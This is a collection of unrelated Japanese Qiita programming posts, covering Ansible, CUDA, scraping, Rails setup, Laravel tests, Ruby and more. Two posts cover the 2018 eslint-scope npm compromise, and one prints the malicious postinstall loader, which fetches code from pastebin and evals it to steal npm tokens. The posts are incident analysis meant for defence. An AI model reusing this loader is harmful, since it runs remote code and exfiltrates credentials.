OmniAICreator/Qiita-1.07M huggingface dataset:
Ansible task の状態の種類 ( ok / changed / failed / skipped / ignoring )


# 図解


![image.png](https://qiita-image-store.s3.amazonaws.com/0/89618/941d1a3a-9230-5e66-149d-b3321a16dbfc.png)

DO は SKIP の反対語として、適当につけた名前。


## DO

タスクが実行される。なぜならタスクは実行するためのもの。
結果は三種類に分かれる。

### DO -> OK

タスクが成功。

### DO -> CHANGED

タスクでなにか変化が起きた時のステータス。
たとえばファイルの新規設置をしたり、パーミッション変更をしたり。

### DO -> FAILED

タスクが失敗した時のステータス。
その後の挙動は二つに分かれる。

#### FAILED -> EXIT

次以降のタスクにも進まず、そこで終了する。

#### FAILED -> IGNORING

失敗を無視して次のタスク実行に進む。

## SKIP

タスクをスキップする。何もしない。つまり OK / CHANGED / FAILED の結果もない。

# Playbookの例

```yaml
- hosts:
    - localhost
  tasks:
    - name: skip
      debug:
        msg: this task will be skipped
      when: false

    - name: do -> ok
      debug:
        msg: task has done and return ok

    - name: do -> changed
      debug:
        msg: task has done and return changed
      changed_when: yes

    - name: do -> failed -> ignoring
      debug:
        msg: task has done, return failed, and continue to next task
      failed_when: yes
      ignore_errors: yes
 
    - name: do -> failed -> exit
      debug:
        msg: task has done, return failed, and exit ( do not continue to next task )
      failed_when: yes
 
    - name: after failed task
      debug:
        msg: task will be not run because previous task has failed and exit
```

## 実行結果例

```bash
TASK [skip] **************************************************************************************************************************************
skipping: [localhost]

TASK [do -> ok] **********************************************************************************************************************************
ok: [localhost] => {
    "msg": "task has done and return ok"
}

TASK [do -> changed] *****************************************************************************************************************************
changed: [localhost] => {
    "msg": "task has done and return changed"
}

TASK [do -> failed -> ignoring] ******************************************************************************************************************
fatal: [localhost]: FAILED! => {
    "msg": "task has done, return failed, and continue to next task"
}
...ignoring

TASK [do -> failed -> exit] **********************************************************************************************************************
fatal: [localhost]: FAILED! => {
    "msg": "task has done, return failed, and exit ( do not continue to next task )"
}
	to retry, use: --limit @/Users/yuma/projects/study/ansible/playbooks/task_state.retry

PLAY RECAP ***************************************************************************************************************************************
localhost                  : ok=4    changed=1    unreachable=0    failed=1   
```


# 環境

- ansible 2.6.1








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
"the launch timed out and was terminated"　Cuda by Example >> appendix A >> A.2.3

##結論
ヘッダファイル中に誤植があり、lockの値をunlockできないまま時間が経過したため

##問題のファイル
書籍の記述に従うと以下のファイルができる

```cuda:lock.h
#ifndef __LOCK_H__
#define __LOCK_H__

struct Lock {
    int *mutex;
    
    Lock(void ) {
        int state = 0;
        HANDLE_ERROR( cudaMalloc( (void**)&mutex, sizeof(int) ) );
        HANDLE_ERROR( cudaMemcpy( mutex, &state, sizeof(int), 
                                  cudaMemcpyHostToDevice ) );
    }

    ~Lock( void ) {
        cudaFree( mutex );
    }

    __device__ void lock( void ) {
        while( atomicCAS( mutex, 0, 1 ) != 0 );
    }

    __device__ void unlock( void ) {
        atomicExch( mutex, 1 );
    }

};
#endif  // __LOCK_H__
```

#変更点
unlockで書き込む値を1から0に変更

```
    __device__ void lock( void ) {
        while( atomicCAS( mutex, 0, 1 ) != 0 );
```
Swift「Document Based App」PDFを対象にするDocument Typesの設定

ProjectのInfoで追加出来る。
<img width="1077" alt="document_types_pdf.png" src="https://qiita-image-store.s3.amazonaws.com/0/23378/df7e69af-d80f-4db9-c5dc-65e4877984d9.png">

ProjectのInfoで追加すると、Info.plistにも書き出される。
Info.plistに直接追加しても問題ない。
削除はInfo.plistからしか出来ない。
<img width="544" alt="document_types_pdf_2.png" src="https://qiita-image-store.s3.amazonaws.com/0/23378/1f2374f6-f82e-2a73-b4f7-1f2eb8ce5d14.png">

Typesは<a href="https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html">System-Declared Uniform Type Identifiers</a>から探す。
SQLServer 組み込み関数

# 組み込み関数
組み込み関数 (Transact-SQL)
https://msdn.microsoft.com/ja-jp/library/ms174318(v=sql.120).aspx
http://yoshinin.blog.fc2.com/blog-entry-117.html

# Transact-SQL
http://www.atmarkit.co.jp/fdb/index/subindex/tsql_subindex.html
https://ja.wikipedia.org/wiki/Transact-SQL
Beautifulsoup の select_one の使い方

次のページを参考にしました。
[Python Webスクレイピング テクニック集「取得できない値は無い」JavaScript対応@追記あり6/12](https://qiita.com/Azunyan1111/items/b161b998790b1db2ff7a)
ここで示されたサンプルに対して、
requests を使い、python3 に対応しました。

```py:get_nikkei.py
#! /usr/bin/python
#
#	get_nikkei.py
#
#					Jul/13/2018
# ------------------------------------------------------------------------
import requests
import sys
from bs4 import BeautifulSoup

sys.stderr.write("*** start ***\n")
# アクセスするURL
url = "https://www.nikkei.com/markets/kabu/"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"}

# URLにアクセスする 戻り値にはアクセスした結果やHTMLなどが入ったinstanceが帰ってきます
response = requests.get(url=url, headers=headers)
html = response.content

# instanceからHTMLを取り出して、BeautifulSoupで扱えるようにパースします
soup = BeautifulSoup(html, "html.parser")

# CSSセレクターを使って指定した場所のtextを表示します

selector = "#CONTENTS_MARROW > div.mk-top_stock_average.cmn-clearfix > div.cmn-clearfix > div.mkc-guidepost > div.mkc-prices > span.mkc-stock_prices"

print(soup.select_one(selector))
print(soup.select_one(selector).text)
print(soup.select_one(selector).string)

sys.stderr.write("*** end ***\n")
# ------------------------------------------------------------------------
```

実行結果

```text
$ ./get_nikkei.py 
*** start ***
<span class="mkc-stock_prices">28,317.83</span>
28,317.83
28,317.83
*** end ***
```

日経平均（円）が取得できています。
![nikkei_heikin_may23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/82404bad-fb4c-ebec-272d-3413a595c3c2.png)

次のバージョンで確認しました。

```bash
$ python --version
Python 3.9.5
```
Slack布教時に「なんでメールではダメなの？」と訊かれた場合に答える材料の一例

ちょいちょい訊かれるので答えの一例を用意しておきたい
今回はメールだけだと厳しっスというセンからの話

![kaisya_komaru_woman.png](https://qiita-image-store.s3.amazonaws.com/0/94687/74cbf06d-1f08-f80f-42bd-f08ea5ee51fc.png)



# あらすじ
月並みな話になるけど、いま既に情報洪水が起こっており、今後もますます増える傾向にある。
（情報洪水の波は、聞くところによるとプリンタの普及がひとつの大きな山、またご存知のとおりインターネットの普及、スマホもでかい）

>*“地球上で生成されるデジタルデータの年間生成量が2013年は4.4ZBであったのに対し、2020年には10倍の44ZBに達すると予測しています。”*
>>2020年における全世界のデジタルデータ量は？ | 大塚商会 https://www.otsuka-shokai.co.jp/media/byline/numbers/20160926.html 

現状、忙しい人こそ、いろんな案件のメールのCCに入りまくっていて正直追いきれない事態になっている。
もうメールという直列情報では捌くのは無理なのでは？と感じている。

![isogashii_hakui_woman.png](https://qiita-image-store.s3.amazonaws.com/0/94687/edfbf117-a175-b863-63da-7b305c1eae18.png)
▲20スレッドぐらい連なったメールのCCで（途中まであんまり関係なかったのに）「明日は○○さんも同席してもらえますか？」とかいきなり振られても厳しい 





#重要度／緊急度の違う情報が混ざりあっている
![image.png](https://qiita-image-store.s3.amazonaws.com/0/94687/906439f2-9f3e-9a38-867a-7d1ae1009234.png)

▲それっぽい4象限マトリックスで考えてみる


## **重要度○**／**緊急度○**
「○○さんの電話番号いそぎ教えてください」
「ここ確認しないと作業が進められません」
▲@メンションを使って必要な相手に確実に情報を届けよう
**※本当の緊急時は、さっさと口頭／電話／ボイチャ等あらゆる方法で連絡してね！**

## **重要度○**／*緊急度×*
「来週の打ち合わせ変更になりました」
「来月から手順が変わります」
▲絵文字やリマインダーで伝わったか確認したり、必要なら@メンションも使う。


## *重要度×*／**緊急度○**
「このタスク終わりました」
「電話ありました」※いそぎの場合は重要だけど、大体は気づいた時で良いよね
「荷物が届いてました」
▲緊急度が高いというか即時性が高い情報。カジュアルに情報共有して欲しい。慇懃な挨拶も不要。



## *重要度×*／*緊急度×*
「クライアントの○○社に新部署が立ち上がったらしいです」
「試しに違う道順で行ってみたけどダメでした」 ← こういう共有すごくありがたい……
「いそぎじゃないけど手が空いてたらやっときたいタスク」
「お腹が減った（よければついでにランチミーティングしよう）」
「なんか動作が怪しい処理がある」
**▲でもこうした情報を流通させること／拾う枠組み／チャンネルを作っておくのが重要なかんじ。この種の情報がやり取り出来てないチームはやばみある（個人の意見です）。**

#メール過多による負の連鎖
これまでは↑のような重要度／緊急度がさまざまな情報を「口頭／電話」か「メール」だけでやり取りしていて、
「情報を選別するのが大変」→「必要な情報が見逃される」→「重要度／緊急度の低い情報が共有しにくくなる」→ディスコミュニケーション、の良くない結果に陥ってるのではないかと、（あくまで肌感覚の話だけど）思うわけです。

#そこでSlackですよ
もちろん情報の送り手／受け手、双方の学習コストはちょっとかかってしまうのだけど、「重要／緊急な情報はそのように」、「そうでない情報はそうでないなりに」受け取ることができるのがSlackというツール。

Slackはいいぞ！

---
※「忙しい人こそ」て言い方は刺さりやすいみたい。みんな多かれ少なかれ忙しさを感じているっぽい。
※仕事内容が全てコマンド（命令、上意下達）で済めばまあいいのだけど、メールだと対話的なコミュニケーションが難しい。
※重要かどうか、人／場合によって違うのもミソ。その場では重要でない情報が後になって必要になったり。
※そのほか「重要度×／緊急度○」とかの場合の例を考え中／追記中
NPMのeslint-scopeハッキングとNPM全トークン無効化

これを書いているのは日本時間2018年7月13日の3:00ですが、そのうち日本語でいろんなところから情報が出ると思うので、それまでのつなぎとして。「朝出社したらNPMのプライベートパッケージを使うCIがこけてた」とかいった場合に読んでください。

- Virus in eslint-scope?  
  https://github.com/eslint/eslint-scope/issues/39#issuecomment-404495923

# 起こったこと

- 日本時間で7月12日の夜7時頃に公開されたNPMのパッケージ eslint-scope のバージョン 3.7.2 に、何者かによってマルウェアが仕込まれていました。これは「このパッケージをインストールした後に走るpost-installスクリプトが、ユーザのホームディレクトリ ($HOME) 上にある `.npmrc` を読み取り、そこに書かれている認証トークンを、とある外部サーバに送信する」というものでした。[ソースはこれ](https://github.com/eslint/eslint-scope/issues/39#issuecomment-404495923)。認証トークンは手動でも作成できますが、典型的には `npm adduser` (`npm login`) したときに裏で生成されて上記の場所に保存されます。
- 約1時間後に気づかれてこのバージョン自体は削除されましたが、この1時間の間に eslint-scope を（間接的にでも）インストールした人のマシンにあるNPMの認証トークンが、外部サーバに送信された可能性があります。既に数百～数千程度のトークンは攻撃者に流出した可能性が高そうです。
    - eslint 自体がこれに依存しています
    - マルウェアの作者のコードに[へっぽこなバグ](https://github.com/eslint/eslint-scope/issues/39#issuecomment-404514860)があったため、Linux系のOSの人については影響を免れているかもしれません。
- 原理的には、これによって収集したトークンを使えば更に多くのパッケージを同様に感染させてpublishすることができ、芋づる式に大量のパッケージを感染させてさらに大量のトークンを収集するという連鎖が可能です。原理上の話であって実際にそのような自動化攻撃が今確認されているわけではありませんが、放っておけば時間の問題でもあります。
- このため、「2018-07-12 12:30 UTC （日本時間で12日21:30）より前に作成された**すべてのNPMの全てのトークンが無効化される」という発表があり、約2時間後に本当に無効化されました。**

> npm intends to invalidate all active tokens, to completely prevent the possibility of stolen tokens being used for malicious purposes. This work is ongoing, but you should expect to need to re-generate tokens for build systems etc. in the next few hours.  
> https://status.npmjs.org/incidents/dn7c1fgrr7ng

# 影響範囲とやるべきこと

「全員NPMにログインして自分のトークンを削除して再生成するんだ！　間に合わなくなっても知らんぞー！」……という勢いで書き始めたのが深夜3時でしたが、書いてる途中の深夜4時前にはNPMの既存トークンが強制的に全部無効化されたので、そこまで大慌てすることではなくなりました。盗まれたのはトークンでありパスワードではないので、`npm login` しなおしてトークンを再生成しましょう。

- NPMのログインアカウントを持っていない人（NPMの公開パッケージを `npm install` や `yarn install` でインストールするだけの人）は関係ありません。
- 万一まだ残っているなら、以下のURLより全トークンを無効化ましょう（これを見ている時点で既に消えているはず）。自分のところでは数年前のトークンとかが何個もありましたが全部消えました。
  - https://www.npmjs.com/settings/~/tokens
- トークンが悪用されていないか確認しましょう。特に、自分がpublish権限のあるパッケージについて、いつの間にか自分の知らない謎の新バージョンがリリースされていないか見ておきましょう。
- 上記のように原理上は芋づる式に感染を広げられるものである上、そもそも eslint-scope が大本の感染源だという保証すら今のところないので、「昨日のうちにeslint-scope のバージョン 3.7.2 を入れてさえいなければ全く安心」ということではありません。
- 2段階認証をONにしている場合、トークンだけ盗まれても悪用できなくなりますので、この機会に2段階認証をONにしましょう。似たような事案はまた起きる(か、気づかれていないだけで既に起きている)可能性が高そうです。
- プライベートパッケージに依存しているCIとかでエラーが出るのは頑張って直しましょう。

以上。間違いがあればコメント欄でご指摘ください。
30日でできる！OS自作入門　day1

#こんにちは
17歳美少女JK界隈の良心，こっそり歩くです．

#思った
仮にもプログラマーを名乗るのにOS作ったことないのはダサいのでは？

#決めた
OS作ることにした．
とりあえず図書館で30日でできる！OS自作入門を借りた．
こうやって書いていくことで
・実際に30日で出来るのかの検証
・逃亡防止
・大してできない俺でもできるのかの検証
をやっていこうと思う．よろしく頼む．

#やった
とりあえず0日目と1日目を終わらせた．
作者さんはwindows環境を想定しているので壊れそうだったArch環境に印籠を渡してwindows端末になってもらった．南無三．
内容はバイナリでhello,worldと出力する簡単なOS？を書いてそれをアセンブラに直して感覚に慣れるというものであった．
いつだって，hello,worldと画面に表示されるのは気持ちがよい．
![1.PNG](https://qiita-image-store.s3.amazonaws.com/0/214706/40ee3e6c-0905-ab8a-2731-814343110fac.png)


#思った
出だしで躓くところはなかった．この調子でやっていきたい．
2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について

2018 年 7 月 12 日に、ESLint 開発チームが管理する npm パッケージに悪意あるコードが挿入されるセキュリティ インシデントがありました。

- ESLint からのアナウンス: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes
- npm からのアナウンス: https://status.npmjs.org/incidents/dn7c1fgrr7ng

以下の場合に `npm install` を実行したユーザーの npm アカウントへのログイン情報 (アクセストークン) が盗まれた恐れがあります (盗まれたアクセストークンはすでに無効化されています)。

- 日本時間の 18:49 から 19:25 の約 1 時間のあいだに `npm install` を実行し、`eslint-config-eslint@5.x` またはそれに依存しているパッケージをインストールした。
- 日本時間の 19:40 から 21:37 の約 2 時間のあいだに `npm install` を実行し、`eslint-scope@3.x` またはそれに依存しているパッケージ (Webpack, ESLint 4, babel-eslint, vue-eslint-parser, eslint-plugin-vue 等) をインストールした。

特に ESLint 4 と Webpack が含まれている点で影響が大きいと考えられます。影響の大きさを鑑みて、npm の運営は問題が終息した時刻より前に発行されたアクセストークンをすべて破棄しました。これにより、攻撃コードが搾取したアクセストークンはすべて無効化されています。

攻撃コードが公開されてからアクセストークンが破棄されるまでの間に、npm リポジトリへ攻撃者と同一 IP アドレスによるアクセスは無かったそうです (Tor の出口ノードの IP アドレスだったそうなので、それだけで安全の保証にはなりませんが...)。

npm にパッケージを公開している開発者の方は、ご自身のパッケージに異常がないこと、二要素認証が有効になっていることの確認をお願いいたします。

## タイムライン

(時刻はすべて日本時間です。)

- **16:00 頃 ...** ESLint メンテナの一人の npm アカウントがハックされた。
- **18:49 ...** `eslint-config-eslint@5.0.2` が攻撃者によってリリースされ、これの `post-install` スクリプトにインストールした人の npm アカウントへのログイン情報 (アクセストークン) を盗むコードが書かれていた (また、この攻撃コードは後で書き換えられるようになっていた)。
- **19:25 ...** `eslint-config-eslint@5.0.2` が攻撃者自身によって取り消された。
- **19:40 ...** `eslint-scope@3.7.2` が攻撃者によってリリースされた。これには `eslint-config-eslint@5.0.2` とまったく同じ攻撃コードが追加されていた。
- **20:17 ...** 問題が発覚して [Issue に報告された](https://github.com/eslint/eslint-scope/issues/39)。
- **20:37 ...** 他の ESLint メンテナが気づいて npm に報告した。
- **21:37 ...** npm 運営が `eslint-scope@3.7.2` を取り消した。
- **22:00 頃 ...** ハックされたメンテナが気づいてパスワード変更・トークン破棄・二要素認証有効化を実施した。ログに基づいて、他の侵害はないことがわかった。
- **25:00 頃 ...** npm 運営が[セキュリティ インシデントをアナウンスした](https://status.npmjs.org/incidents/dn7c1fgrr7ng)。また、npm 運営と ESLint チームの話し合いが行われた。
- **26:30 頃 ...** 念のためにより新しいバージョン番号 (`eslint-scope@3.7.3`) でリリースを実施した。
- **27:52 ...** npm 運営は、問題が終息するより前に発行されたすべてのアクセストークンを破棄した。

## どのようにハックされたか

今回アカウントをハックされたメンテナは他のサービスと npm とで同じパスワードを使っていたとのことで、他のサービスで流出したパスワードを用いてログインされてしまったものと考えられます。

- パスワードの使い回しを避ける
- 多要素認証を有効化する

これらのことを実施していれば避けられたインシデントでした。

## どのような攻撃コードが挿入されたか

`eslint-config-eslint@5.0.2`, `eslint-scope@3.7.2` ともに、以下のスクリプトが `npm install` の後処理として実行されるようになっていました (インデント等そのまま)。

```js:lib/build.js
try{
var https=require('https');
https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
r.setEncoding('utf8');
r.on('data',(c)=>{
eval(c);
});
r.on('error',()=>{});

}).on('error',()=>{});
}catch(e){}
```

チャンクをそのまま `eval` しているので、通信時のチャンク分割で構文エラーになり発覚したようです。

ダウンロードしているコードは、当初、npm のログイン用トークンが含まれているファイルを外部に送信するようなコードになっていたそうです (私自身はそのコードを確認できていません)。現在は無意味な文字列になっています。
VirtualBoxとVagrantを利用したubuntu18.04によるrails環境構築

# 1. 前提

・PC
windows 10

・バージョン
vagrant 2.0.3
VirtualBox 5.1.12
 
がインストール済み


# 2.目的
railsでの開発を仮想環境で進めたいため、VirtualBoxとvagrantの最新版(2018年6月時点)を用いて仮想環境構築及びrails環境構築を行う。
<br>
# 3.手順
### 仮想環境作成
・windows powershellの起動
・テキトーな場所にvagrantフォルダの作成、移動(自分は~/Documents以下に作成)

```bash:powershell
$ cd Documents
$ mkdir vagrant
$ cd vagrant
```

・vagrantフォルダにvagrantfileの作成

```bash:powershell
$ vagrant init
```

```ruby:Vagrantfile
Vagrant.configure("2") do |config|
  # https://vagrantcloud.com/searchで「ubuntu 18.04」で検索して出てきたやつから選んだやつ
  config.vm.box = "ubuntu/bionic64"
  #ここから下3つは設定変えてないはず
  config.vm.box_check_update = true
  config.vm.network "forwarded_port", guest: 3000, host: 3000
  config.vm.network "private_network", ip: "192.168.33.10"
  #共有フォルダの設定。ローカルマシン内のvagrantフォルダと仮想マシン内の/vagrantフォルダをつなげる
  config.vm.synced_folder "./", "/vagrant"
end
```

・仮想環境の立ち上げ　->　結構時間かかる

```bash:powershell
$ vagrant up
```

・仮想環境へssh接続　->　windowsでは基本的にsshコマンドが使えないので別途設定が必要。

```bash:powershell
$ vagrant ssh
```

### rbenvによるRails環境作成
以下、仮想マシン内でのコマンド

rails等で用いるnode.jsとそのパッケージマネージャ(npm)を先にインストールしておく

```bash:入力コマンド
$ sudo apt-get update
$ sudo apt-get install node.js
$ sudo apt-get install npm

```
必要なツール類をインストールしておく(どっかのqiita記事からコピペ。必要性はわからない。)

```bash:入力コマンド
$ sudo apt-get update
$ sudo apt-get install autoconf bison build-essential libssl-dev libyaml-dev libreadline6-dev zlib1g-dev libncurses5-dev libffi-dev libgdbm3 libgdbm-dev
```
そしたら以下のようなエラーが出たが、気にせず進める。

```bash:入力コマンド:
Note selecting "libreadline-dev" instead of "libreadline6-dev"
E:unable to locate package libgdbm3
```

また必要そうなものを先にインストールしておく。(どっかのqiita記事からコピペ。必要性はわからない。)

```bash:入力コマンド
$ sudo apt-get install -y libreadline-dev zlib1g-dev
$ sudo apt-get install libsqlite3-dev
$ apt-get install git build-essential libssl-dev
```

rbenvをgitからクローンし、path設定及び設定反映

```bash:入力コマンド
$ git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
$ echo 'export PATH="$HOME/.rbenv/bin:$PATH"'>>/.bashrc
$ echo 'eval "$(rbenv init -)"'>>/.bashrc
$ source ~/.bashrc
```

install可能なrubyのリストの中から2.5.0を選択し、インストール。
仮想マシン内で常に2.5.0を使うよう設定

```bash:入力コマンド
$ git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
$ rbenv install 2.5.0
$ rbenv global 2.5.0
```

最後にrailsをインストールして終了

```bash:入力コマンド
$ echo "gem: --no-document" >> ~/.gemrc
$ gem install bundler
$ gem install rails
```

これでアプリ開発が進められる。
数値から文字列に変換（Numeric to Character）【GeneXus】

数値から文字列に変換する方法には以下の2通りがあります。

1.str関数
2.ToStringメソッド

注意する点として文字列に変換した際にブランクが挿入され、右づめになります。
なのでブランクが挿入されない数値そのままで取り扱うには切り取る必要があります。

「&Char」：文字タイプの変数
「&Num」：Numericの変数

```javascript
// 数値を文字列に変換
&Char = Trim(str(&Num))
```
Laravel5.5で排他制御のテストをする

仕事でどうしてもDBトランザクションでまかなえない排他制御を行う必要が出てきたので。

普段あまりテストを書くほうではないのですが、検証環境で並行処理の競合状態なんてそうそう発生しないのでさすがにテストを書かないとまずいと思い勉強したものです。

関連ソースはこのあたり。
https://gist.github.com/kuinaein/ad4b6167f712f4035a8f31a16e13c905

# テスト対象メソッドの概要

`malkusch\lock`のラッパーです。内部でFlockMutexを利用しています。
$timeoutの単位は「秒」です。

```php
class ConcurrentUtil {
  public static function synchronized(string $key, \Closure $closure, int $timeout = 10) {
    // ...
  }
}
```

# とりあえずテストケース作成
Laravelプロジェクトに最初からついているPHPUnitを使います。

```bash
$ php artisan make:test --unit 'Util\ConcurrentUtilTest'
```

まずは普通に実行。

```php:tests\Unit\Util\ConcurrentUtilTest.php
public function testSync() {
  $i = 100;
  ConcurrentUtil::synchronized('test.sync', function() use (&$i) {
    $i += 100;
  });
  $this->assertEquals($i, 200);
}
```

```bash
$ vendor/bin/phpunit

...
OK (3 tests, 3 assertions)
```

# 競合状態をシミュレートしてテスト

Javaなんかだと簡単にスレッドを生成できるのですが、PHPでスレッドを使おうとすると別途pthreads等をセットアップする必要があり結構骨が折れます。。プロセス生成コストが気になるような処理をPHPでやるなってことですね分かります。

なのでプロセスを複数動かして同期を取らせることにします。
幸いなことにLaravelにはコンソールコマンドを簡単に作る機能があり、しかもこいつはユーティリティクラスはおろか本体のモデルクラス等も呼び出せます。今回はこれを流用することにします。

```php:routes/console.php
// 引数で与えられたファイルの内容をインクリメントするだけ
Artisan::command('testOnly:concurrentWrite {path}', function($path) {
  ConcurrentUtil::synchronized('test.concurrentWrite', function() use($path) {
    $n = 1;
    if (Storage::exists($path)) {
      $n += (int)Storage::get($path);
    }
    sleep(1);
    Storage::put($path, $n);
  });
});
```

テストケースでは`proc_*()`を呼んで上記のコマンドを4回同時に実行します。

```php:tests\Unit\Util\ConcurrentUtilTest.php
public function testSyncQuadruple() {
  $path = 'test/test.txt';
  if (Storage::exists($path)) {
    Storage::delete($path);
  }
  $cmd = sprintf('php %s testOnly:concurrentWrite %s', base_path('artisan'), $path);
  $procs = [];
  try {
    for ($i = 0; $i < 4; ++$i) {
      $pipes = [];
      $procs[] = proc_open($cmd,
          [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);
    }
    for (;;) {
      foreach ($procs as $p) {
        if (proc_get_status($p)['running']) {
          sleep(1);
          continue 2;
        }
      }
      break;
    }
    $this->assertEquals(Storage::get($path), '4');
    Storage::delete($path);
  } finally {
    foreach($procs as $p) {
      @proc_close($p);
    }
  }
}
```

# タイムアウトのテスト

PHPUnitでも他のxUnitと同様「例外が投げられた場合に成功」という条件が付けられます。phpDocumentorコメントで`@expectedException`を付けるだけです。
コード中で例外クラスを使用していないせいか（？）、`use`宣言は無視されたので完全修飾名を指定しています。

```php:tests\Unit\Util\ConcurrentUtilTest.php
/**
  * @test
  * @expectedException \malkusch\lock\exception\TimeoutException
  */
public function testTimeout() {
  ConcurrentUtil::synchronized('test.timeout', function() {
    ConcurrentUtil::synchronized('test.timeout', function() {
      $path = app_path();
    }, 3);
  });
```

上記テストが成功するので、FlockMutexは同一スレッドから同じミューテックスを獲得しようとするデッドロックすることが分かります。DBトランザクション系のMutex実装だと再入可能になるんだろうか。

なお、このテストケースを書いたおかげで、FlockMutexコンストラクタの第2引数に1未満の小数を指定するとpcntl拡張が有効な環境ではタイムアウトしなくなることが分かりました。やっぱりテストは大切ですね。。
Rubyのキーワード引数とオプション引数の組み合わせの注意点

# キーワード引数
```ruby
def self.print(message: "Hi")
  puts message
end

print #=> Hi
print(message: "VietNam") #=> VietNam
```
# オプション引数
```ruby
def self.print(**message)
  puts message
end

print(greeting: "Hi") #=> {:greeting => 'Hi'}
print(greeting: "Hi", country: "VietNam") #=> {:greeting => 'Hi', :country => "VietNam"}
```

# キーワード引数とオプション引数の組み合わせ
```ruby
def self.print(greeting: "Hi", **option)
  puts "#{greeting}, #{option}"
end

print(country: "VietNam") #=> Hi, {:country => "VietNam"}
print(greeting: "Hello",country: "VietNam") #=> Hello, {:country => "VietNam"}
option = {country: "VietNam"}
print(option)  #=> Hi, {:country => "VietNam"}

print(greeting: "Hello", option) #=> Syntax Error
#原因: print(greeting: "Hello", option) => print(greeting: "Hello", {country: "VietNam"})

print(greeting: "Hello", **option) #=> Hello, {:country => "VietNam"}
#原因: print(greeting: "Hello", **option) => print(greeting: "Hello", country: "VietNam")
```
セルオートマトンによる雪の結晶シミュレーション

#初めに
雪の結晶は同じ形のものがないといってもいいほど様々な形がある。
その成長は分子レベルで観察すると先端で進行していることが分かっている。
それらをプログラムで再現してみる。

#方針
下の図のようにセルを配置する。
![21.png](https://qiita-image-store.s3.amazonaws.com/0/265446/457b31af-9f87-e449-7293-07273c522de1.png)
セルに分子が吸着した状態を1(●)とし、何もない状態を0(〇)として表現する。

注目しているセルの周囲に分子が吸着したセルがが1つ存在する場合、次の時刻にそのセルに分子を吸着させる。
![22.png](https://qiita-image-store.s3.amazonaws.com/0/265446/90db7adc-66b4-6e81-fabe-052eb9e701fe.png)
それ以外の場合(分子が吸着しているセルが0個や2個以上の時)は変化させないこととする。
![23.png](https://qiita-image-store.s3.amazonaws.com/0/265446/7178722d-86a8-86a3-e47a-f0125d726e36.png)

#プログラム

```c++
#define   _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#define X 300
#define Y 300
int main(){
	FILE* xy = fopen("xy", "w");

	FILE* fp2;


	int time, TIME = 100;
	int cell[X][Y] = { 0 }, change[X][Y] = { 0 };
	int x, y;
	int goukei;

	char filename[60];

	FILE* fp = fopen("script", "w");
	fprintf(fp, "set terminal gif animate optimize delay 2 loop 1 size 1280,960\n");
	fprintf(fp, "set   output    ' ANIMA.gif ' \n");
	fprintf(fp, "set xrange[0:%d]\n",X);
	fprintf(fp, "set yrange[0:%d]\n",Y);
	for (time = 1; time < TIME; time++){
		fprintf(fp, "plot'%d'\n", time);
		fprintf(fp, "pause 1\n");
	}
	fprintf(fp, "set out\n");

	cell[X/2][Y/2+1] = 1; //初期状態の代入（核となる分子を仕込む）

	for (time = 1; time<TIME; time++){                          
		for (x = 0; x<X; x++)for (y = 0; y<Y; y++)change[x][y] = 0;  
 
		//次に各セルの状態を調べる
		for (x = 1; x<(X-1); x++)for (y = 1; y<(Y-1); y++){
			if (cell[x][y] == 0){
				if (x % 2 == 0){
					goukei = cell[x][y + 1] + cell[x][y - 1] + cell[x - 1][y] + cell[x - 1][y - 1] + cell[x + 1][y] + cell[x + 1][y - 1];
				}
				if (x % 2 != 0){
					goukei = cell[x][y + 1] + cell[x][y - 1] + cell[x - 1][y] + cell[x - 1][y + 1] + cell[x + 1][y] + cell[x + 1][y + 1];
				}
				if (goukei == 1){
					change[x][y] = 1;
				}//　セルの変更箇所を確定します
			}
		}

		for (x = 1; x < (X-1); x++){  
			for (y = 1; y < (Y-1); y++){
				cell[x][y] += change[x][y];
			}// セルの変更箇所を上書き更新します
		}

		sprintf(filename,"%d%",time);

		fp2 = fopen(filename, "w");
		for (x=1; x < (X-1); x++){
			for (y = 1; y < (Y-1); y++){
				if (cell[x][y] != 0){
					if (y % 2 != 0)fprintf(fp2, "%lf  %lf\n", (double)x, (double)y);
					if (y % 2 == 0)fprintf(fp2, "%lf  %lf\n", (double)x + 0.5, (double)y);
				}
			}
		}
		fclose(fp2);
	} //time

	//　　ファイルへ結晶化したセルの位置座標を出力する
	for (x = 1; x < (X-1); x++){
		for (y = 1; y <(Y-1); y++){
			if (cell[x][y] != 0){
				if (y%2!=0)fprintf(xy, "%lf  %lf\n", (double)x, (double)y);   // yが偶数番ならば、(x,y)を出力
				if (y%2==0)fprintf(xy, "%lf  %lf\n", (double)x + 0.5, (double)y);	  // yが奇数番ならば、(x+0.5,y)を出力
			}
		}
	}
} // main
```
#結果
次のGIFがプログラムによって作成した雪の結晶の成長シミュレーションである。
![ ANIMA.gif](https://qiita-image-store.s3.amazonaws.com/0/265446/2fa1a6da-6d9a-e385-c176-1250f3f80990.gif)
連続したCSSアニメーションの実装

# はじめに
keyframesを使ったcssでのアニメーションは、gif画像の埋め込みと比べると読み込み速度も早く、パフォーマンスも良く、動きも滑らかです。

gif のようにどのようなアニメーションでも表現できるわけではありませんが、

**1. 出現時のみ強調されたアニメーションが表示される**
**2. 以降、別のアニメーションがループして表示される**

といったようなカスタマイズが可能なので、その実装方法を紹介します。

# サンプル
だいぶ荒いですが、こんなイメージです。

![NEW.gif](https://qiita-image-store.s3.amazonaws.com/0/65743/28e3410b-abfc-feb7-fa52-f4f3ddf19668.gif)

